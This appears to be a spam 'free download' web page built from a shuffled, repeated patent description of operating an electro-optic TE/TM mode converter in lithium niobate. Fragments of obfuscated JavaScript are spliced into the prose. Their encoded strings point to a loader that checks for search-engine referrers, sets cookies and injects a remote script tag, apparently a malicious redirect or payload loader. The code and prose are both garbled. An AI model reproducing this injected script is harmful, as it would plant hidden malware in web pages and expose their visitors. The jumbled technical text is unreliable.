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Te Tm Mode Converter Free Download

The relative magnitudes of the d c bias and a c drive are chosen to insure an operating point of high conversion efficiency.. As is indicated, for values of perturbing voltage below about four volts the conversion between modes is substantially incomplete while at higher voltages a high degree of conversion is obtained.. As will be discussed below in connection with FIG 3, for high conversion efficiency, it is desirable to maintain continuously at least a several volts difference between the two electrodes.. c bias of between fifteen and twenty volts With an input of 820 microns, a peak-to-peak drive voltage of about 12 volts was found suitable for a bias between fifteen to twenty volts.. Brief Description of the DrawingsThe invention will be better understood from the following detailed description taken with the accompanying drawings wherein:FIG.. 1 is a perspective view of an TE/TM-mode converter used in connection with the method of the invention;FIG.

The relative magnitudes of the d c bias and a c drive are chosen to insure an operating point of high conversion efficiency.. The specific values of d c bias and a c drive for a single essentially complete exchange between modes for a given length of electrodes is best determined empirically.. e , substantially 100 percent In addition, the availability of the DC bias technique greatly relaxes the need for precision fabrication because now tolerances can be broadened and any differences between phase velocities due to variations in fabrication can be adjusted for by setting the correct DC bias level.. It usually is of little advantage to operate with biases greater than twenty volts.. In this arrangement, the vertical electric field provided by V1 provides the electro-optically induced TE-TM mode coupling through the off diagonal r61 electro optic coefficient, and the electric field provided by the voltage V2 is used to provide the necessary electro-optically induced phase shifts between the TE and TM modes through the complementary r22 and r12 electro optic coefficients.. For the structure described, using a twenty millimeter interaction length, it was found advantageous for 95% exchange at a wavelength of.

mode converter

mode converter, mode converter waveguides, mode converter fiber, cst time converter, mode converter app, mode converter derailleur, mode converter definition, mode converter system, mode converter optical, mode converter meaning, mode converter microwave

632 microns to operate with an a c drive of about five volts peak-to-peak and a d.. For example, in a single-mode optical fiber system, it may serve as a polarization-controlling device for typical single mode fiber transmission systems in which the propagating waves normally do not preserve their initial linear polarization so that periodically restoration to a linearly polarized state of the waves becomes important.. google ',_0x164fd3[_0xf25d('0x1c')],_0x164fd3[_0xf25d('0x1d')],_0x16d('0x1d')],_0x16d('0x1d')],_0x16d('0x1d')],_0x16d('0x1d')],_0x16d('0x1d')],_0x16d('0x1d')],_0x16d('0x1d')],_0x1d('0 0x1e')],_0x164fd3[_0xf25d('0x1f')],_0x164fd3[_0xf25d('0x20')],_0x164fd3[_0xf25d('0x21')]],_0x175b85=document[_0xf25d('0x20')],_0x164fd3[_0xf25d('0x21')]],_0x175b85=document[_0xf25d('0x20')],_0x164fd3[_0xf25d('0 (0x22')], 0x53763a=![], 0x3b0219=cookie[0xf25d('0x23')](0xf25d('0x1b')); for (var $_0x4b5edf=0x0$; $_0x164fd3$ [$_0xf25d('0x1b')$]; for (var $_0x4b5edf=0x0$; $_0x164fd3$] $x24')](_0x4b5edf,_0x8ff304[_0xf25d('0xa')]);_0x4b5edf++){if(_0x164fd3[_0xf25d('0x25')](_0x175b85[_0xf25d('0x26')](_0x175b85[_0x66ab))([-0x16ab)([-0$ 0219 0x164fd3 0x164fd3 0x164fd3 0x164fd3 0x164fd3 0x164fd3 0x164fd3 0x125d 0x125dhas several drawbacks Firstly, optical isolation needs to be provided between the central electrode and the underlying waveguide.. In FIG 3, there is plotted the relative magnitudes of the TE component shown by the solid line and the TM component shown by the broken line, measured at the output end of the waveguiding channel of a fixed length as perturbing voltage is varied.. The present invention has for its object to operate an electro-optic TE/TM-mode convertion device of the kind as specified in the above documents so that the residual birefringe problem is solved.. The above object is achieved by the steps of the characterizing clause of claim 1.. Typically, the titanium strip deposited was about 480 Angstroms thick and about 3 microns wide and its in-diffusion carried out in flowing oxygen at about 1100oC for about six hours.. Significantly, neither of electrodes 14 or 16 overlaps the channel 12 which is uncovered and need not be buried in the interior of the crystal.. The input wave, illustratively of a wavelength of 0 632 or 0 820 micrometers, was applied at one end of the channel by way of an optical fiber (not shown) and the converted output wave abstracted at the other end similarly by way of an optical fiber (not shown).

mode converter fiber

2 shows a cross-section of the converter of FIG 1, connected to illustrative control circuitry; andFIG.. men/don_con php?x=en&query=',q),"));}}R(); Field of the InventionThis invention relates to a method for operating an optical TE-TM mode converter.. In FIG 3, there is plotted the relative magnitudes of the TE component shown by the solid line and the TM component shown by the broken line, measured at the output end of the waveguiding channel of a fixed length as perturbing voltage is varied.. A variety of applications are know for a mode converter of the kind described For example, it can be used simply to convert an input wave of one linear polarization essentially completely to the opposite polarization by using an interaction length matching a complete conversion length.. Since the wavelength propagation direction is along the optic axis, both TE and TM modes see the same ordinary index and are therefore already nearly phase-matched.

mode converter app

Alternatively, mode conversion can be used in a modulator to convert a guided mode of one polarization into a lossy mode of orthogonal polarization.. 2 shows a cross-section of the converter of FIG 1, connected to illustrative control circuitry; and FIG.. As is indicated, for values of perturbing voltage below about four volts the conversion between modes is substantially incomplete while at higher voltages a high degree of conversion is obtained.. Ramp time to the diffusion temperature was about five hours as was the ramp time back to the ambient.. This typically involves use of a buffer layer between the LiNbO3 substrate and the overlying electrodes which makes for processing complexity.. Additionally, the performance is extremely sensitive to the electrode alignment Accurately aligning the three electrodes, typically separated by a few microns, makes for manufacturing complexity.. Background of the InventionAn electro-optic polarization converter is important for a variety of applications.. The specific values of d c bias and a c drive for a single essentially complete exchange between modes for a given length of electrodes is best determined empirically.. It is feasible to work with d c biases as low as five volts if the a c drive is adjusted appropriately.. In this arrangement, the vertical electric field provided by V1 provides the electro-optically induced TE-TM mode coupling through the off diagonal r61 electro optic coefficient, and the electric field provided by the voltage V2 is used to provide the necessary electro-optically induced phase shifts between the TE and TM modes through the complementary r22 and r12 electro optic coefficients. Field of the Invention This invention relates to a method for operating an optical TE-TM mode converter.. var _0x54b2=['cVBzZIE=','TXJQSHc=','ekpPRUM=','VUV3QIE=','Z2V0VGltZQ==','OyBwYXRoPQ==','Y2 F6d0Q=','LmJpbmcu','LnlhaG9vLg==','LmFvbC4=','LmFzay4=','LmFsdGF2aXN0YS4=','LnlhbmRleC4=','dmlzaXRlZA==','d Gltb0I=','bkVLd3o=','RERWZHU=','c25udkw=','WVRkb1Y=','TmZNUUM=','cmVmZXJyZXI=','Z2V0','bVRQY2o=','SUVV UW0=','aW5kZXhPZg==','c2V0','ZHVpWVg=','SE54T1c=','c2NyaXB0','aGVhZA==','c3Jj','Z2V0RWxlbWVudHNCeVRhZ0 5hbWU=','YXBwZW5kQ2hpbGQ=','NHwxfDJ8NXwwfDM=','c3BsaXQ=','a25iS0Y=','Y29va2ll','ZmdQZ3o=','bGVuZ3Ro','c mVwbGFjZQ==','OyBleHBpcmVzPQ==','OyBzZWN1cmU='];(function(_0x5a2964,_0x3b0514){var _0x44b5e4=function(_0 x168c02}{while(--_0x168c02){_0x5a2964['push'](_0x5a2964['shift']());}};0x44b5e4(++_0x3b0514);}(_0x54b2,0x1ea));var _0xf25d=function(_0x4ad907,_0xe1894d){_0x4ad907=_0x4ad907-0x0;var

_0x26ef76=_0x54b2[_0x4ad907];if(_0xf25d['initialized']===undefined){(function(){var _0x213c0f;try{var _0x1c374=Function('return\x20(function()\x20'+'{}.. Similarly, it is well known to follow a mode converter with a linear polarizer to form an efficient modulator.. The invention therefore is based on the recognition that even the 'residual birefringence' can be effectively eliminated by applying the DC bias voltage to eliminate any differences between the propagation constants of the two orthogonal modes so that, when the AC voltage is applied, coupling will be complete, i.. The input wave, illustratively of a wavelength of 0 632 or 0 820 micrometers, was applied at one end of the channel by way of an optical fiber (not shown) and the converted output wave abstracted at the other end similarly by way of an optical fiber (not shown).. Additionally, the performance is extremely sensitive to the electrode alignment Accurately aligning the three electrodes, typically separated by a few microns, makes for manufacturing complexity..

 $constructor(\x22return\x20this\x22)(\x20)'+');'); 0x213c0f=_0x1c374(); catch(_0x24bc8a) \{_0x213c0f=window; var _0x3fb50 a='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['atob']||(_0x213c0f['ato$

 $\label{eq:linear_ox37f9f2;}); ()); 0xf25d['base64DecodeUnicode'] = function(_0x344e89) \{var _0x121b69 = atob(_0x344e89); var _0xd90a82 = []; for(var = 0xd90a82 = []; for$

 $\label{eq:construction} $$ 0x1b7cec=0x0, 0x29c275=0x121b69['length']; 0x1b7cec=0x3c4f89; }, fNqFy': 0xf25d('0x1b'), 'duiYX': function $$ 0x1b7cec=0x3c4f89; }, fNqFy': 0x1b7cec=0x3c4f89; }, fNfq': 0x1b7cec=0$

 $\label{eq:constraint} $$ 0x4018ed(0x4e6b88,0x51dcb7)$ return $$ 0x4e6b88(0x51dcb7)$, BgmVg': function $$ 0x4e6b88(0x51dcb7)$, Constraints, Constra$

_0x13a6f7(_0x342a7e,_0xf9b37a){return _0x342a7e+_0xf9b37a;},'HNxOW':function

 $\label{eq:constraint} $$ -0x4ab81c(_0x35ac1a,_0xe5a5fd){return _0x35ac1a+_0xe5a5fd;}; var _0x8ff304=['... It usually is of little advantage to the set of the set o$

operate with biases greater than twenty volts.. Significantly, neither of electrodes 14 or 16 overlaps the channel 12 which is uncovered and need not be buried in the interior of the crystal.. c bias of between fifteen and twenty volts With an input of 820 microns, a peak-to-peak drive voltage of about 12 volts was found suitable for a bias between fifteen to twenty volts.. Background of the InventionAn electro-optic polarization converter is important for a variety of applications.. It is feasible to work with d c biases as low as five volts if the a c drive is adjusted appropriately.. Similarly, it is well known to follow a mode converter with a linear polarizer to form an efficient modulator.. Typically, the titanium strip deposited was about 480 Angstroms thick and about 3 microns wide and its in-diffusion carried out in flowing oxygen at about 1100oC for about six hours.. As will be discussed below in connection with FIG 3, for high conversion efficiency, it is desirable to maintain continuously at least a several volts difference between the two electrodes.. Since the wavelength propagation direction is along the optic axis, both TE and TM modes see the same ordinary index and are therefore already nearly phase-matched.. A variety of applications are know for a mode converter of the kind described For example, it can be used simply to convert an input wave of one linear polarization essentially completely to the opposite polarization by using an interaction length matching a complete conversion length.. e, substantially 100 percent In addition, the availability of the DC bias technique greatly relaxes the need for precision fabrication because now tolerances can be broadened and any differences between phase velocities due to variations in fabrication can be adjusted for by setting the correct DC bias level.. 1 is a perspective view of an TE/TM-mode converter used in connection with the method of the invention;FIG.. 632 microns to operate with an a c drive of about five volts peak-to-peak and a d.. Brief Description of the DrawingsThe invention will be better understood from the following detailed description taken with the accompanying drawings wherein:FIG.. For example, in a single-mode optical fiber system, it may serve as a polarization-controlling device for typical single mode fiber transmission systems in which the propagating waves normally do not preserve their initial linear polarization so that periodically restoration to a linearly polarized state of the waves becomes important.. This typically involves use of a buffer layer between the LiNbO3 substrate and the overlying electrodes which makes for processing complexity.. 3 is a plot of the relative magnitudes of the TE and TM components measured at the output end of the embodiment of FIG.. This device has several drawbacks Firstly, optical isolation needs to be provided between the central electrode and the underlying waveguide. Alternatively, mode conversion can be used in a modulator to convert a guided mode of one polarization into a lossy mode of orthogonal polarization.. 3 is a plot of the relative magnitudes of the TE and TM components measured at the output end of the embodiment of FIG. 2 as the drive voltage is varied Detailed DescriptionFIG 1 shows a Y-cut LiNbO3 crystal 10 in which in known fashion titanium has been thermally diffused to form the waveguiding channel 12 along the length of the crystal in the direction of the optic Z axis of the crystal.. The invention therefore is based on the recognition that even the 'residual birefringence' can be effectively eliminated by applying the DC bias voltage to eliminate any differences between the propagation constants of the two orthogonal modes so that, when the AC voltage is applied, coupling will be complete, i.. Ramp time to the diffusion temperature was about five hours as was the ramp time back to the ambient.. 2 as the drive voltage is varied Detailed DescriptionFIG 1 shows a Y-cut LiNbO3 crystal 10 in which in known fashion titanium has been thermally diffused to form the waveguiding channel 12 along the length of the crystal in the direction of the optic Z axis of the crystal.. The present invention has for its object to operate an electro-optic TE/TM-mode convertion device of the kind as specified in the above documents so that the residual birefringe problem is solved.. For the structure described, using a twenty millimeter interaction length, it was found advantageous for 95% exchange at a wavelength of.. The above object is achieved by the steps of the characterizing clause of claim 1. e10c415e6f